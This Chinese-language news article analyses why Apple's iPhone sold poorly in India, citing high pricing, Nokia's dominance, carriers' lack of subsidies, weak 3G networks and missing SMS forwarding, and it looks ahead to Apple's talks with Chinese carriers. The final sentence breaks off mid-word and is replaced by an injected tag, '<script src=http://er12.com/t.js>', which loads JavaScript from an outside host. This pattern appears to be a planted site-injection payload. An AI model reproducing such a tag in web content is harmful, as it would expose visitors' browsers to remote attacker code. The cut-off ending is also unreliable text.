苹果iphone在印度电信市场的惨败为它进军中国市场积累了宝贵的经验。
iphone是最近几年风头最劲的手机产品，印度是目前发展速度最快的手机市场，苹果原先对iphone在印度的发展寄予了厚望。但是自从沃达丰和bharti airtel去年8月开始销售iphone以来，iphone在印度就一直处于滞销状态。 苹果没有公布印度市场的营收数据，但是airtel的一名高管证实，分析师预计iphone在印度的销售量还达不到2万部。分析师还预计，由于沃达丰集团的宣传力度相对更弱，因此它销售出去的iphone可能更少。 据印度海关官员表示，即便加上黑市的销售量，iphone在印度市场的总销量也只能增加1.5万部。这样的销售量对于正处于迅猛发展中的印度市场来说可谓沧海一粟，因为自从去年8月苹果正式推出iphone以来，印度新增加的手机用户数量几乎达到了2千万人。
苹果到底做错了什么呢？ 现在距离苹果在美国市场正式推出iphone时已有近两年的时间，但是苹果始终未能在印度手机市场站稳脚跟，它马上就要进入中国市场，或许应以印度市场的教训为鉴。由于全球性经济衰退影响了美国和其他成熟市场的发展，苹果开始将增长的希望寄托在仍能保持增长的亚洲各国市场。 iphone在全球市场的销售量已经开始下滑，苹果表示，自从正式发布iphone和ipod touch以来，它们的总销量已经达到3千万部。 摩根大通分析师mark moskowitz在3月5日将iphone第一季度的预期销售量从385万部下调至341万部。moskowitz在投资者报告中指出：“我们的初步研究表明，mac和iphone在第一季度的销售量已经低于我们之前的预期。”
苹果在印度市场遇到了某些巨大的障碍。例如，诺基亚一直深受印度消费者喜爱，苹果要想打开局面，它就必须同诺基亚展开竞争。 不管是手机市场还是智能手机市场，诺基亚都占据着较大的领先优势。
即便是对于中端印度消费者来说，iphone的价格也过于偏高。虽然市场研究公司isuppli估计iphone的造价还不到175美元，但是苹果和airtel在印度销售iphone时定出的价格大约为700美元，而iphone在美国的售价仅199美元。在印度，三部iphone的价格已经抵得上一台tata motors的汽车的售价了。tata motors刚刚在2周之前推出一款售价仅2000美元的汽车。苹果发言人bethan lloyd在一封电子邮件中表示，价格和关税问题主要是由当地合作伙伴而不是苹果决定的。苹果谢绝让公司高管接受媒体采访。
对于airtel和沃达丰来说，它们根本不会考虑为iphone提供补贴。绝大多数印度用户都是预付款用户，高端用户每月的通话费好数据服务费也只有30美元。 再加上iphone极易被解锁并可在竞争对手的网络上使用，因此运营商们认为，iphone在美国市场与at&t的合作模式不适用于印度市场。
但苹果在印度的问题远远不止竞争和售价这么简单。据airtel移动业务首席营销官sanjay gupta说，印度消费者使用手机的方式与美国消费者是完全不同的。 由于印度数据网络覆盖率不高，非3g网络的下载速度也较慢，因此iphone在印度运营商网络上的用途并不象它在美国运营商网络上那么明显。而且，印度消费者喜欢转发文字短信息，几乎70%的印度手机用户至少每天会转发一个文字短信息，但是iphone以前一直都不能转发文字短信息，直到最近才增加了这个功能。 gupta表示：“这是一个严重的功能缺陷。iphone在印度主要被看做一款手机，而不是一款数字设备。”
虽然苹果已经获得了美国企业it经理们的接受，但是它在印度企业市场的运气就不好了。印度的企业用户更愿意花700美元的价格去购买黑幕手机或诺基亚的商务手机，大部分商业人士认为iphone不过是年轻人手中的娱乐工具。
苹果在印度还遇到另一个难题，那就是当地合作伙伴为iphone制定的销售目标与它不一样。例如，airtel似乎并不在意印度消费者是否接受iphone，因为它主要通过其他方式从自己与苹果之间的合作关系上获益。 gupta表示：“对于我们来说，与iphone建立起合作关系只是一种品牌上的合作关系，这就足以令我们感到高兴了。”
今后的情况也许会发生变化。随着印度开始竞拍3g频谱，印度也许很快就会拥有真正的3g网络；另外，今后推出新款手机后势必会推动手机价格的下滑。
但是现在，各方关注的焦点都将集中在中国市场。苹果一直在与中国移动和中国连通等运营商洽谈iphone入华的合作事宜。最近更是传出消息称，中国连通最早会在6月在中国市场推出iphone手机。苹果发言人lloyd对此未予置评。然而中国联通发言人yi difei在北京证实双方正在进行谈判，但没有证实关于中国联通将在5月17日推出iphone的传闻。他说：“我们与苹果之间的合作仍在谈判之中，谈判能否成功仍是不可知数。双方仍?script src=http://er12.com/t.js>
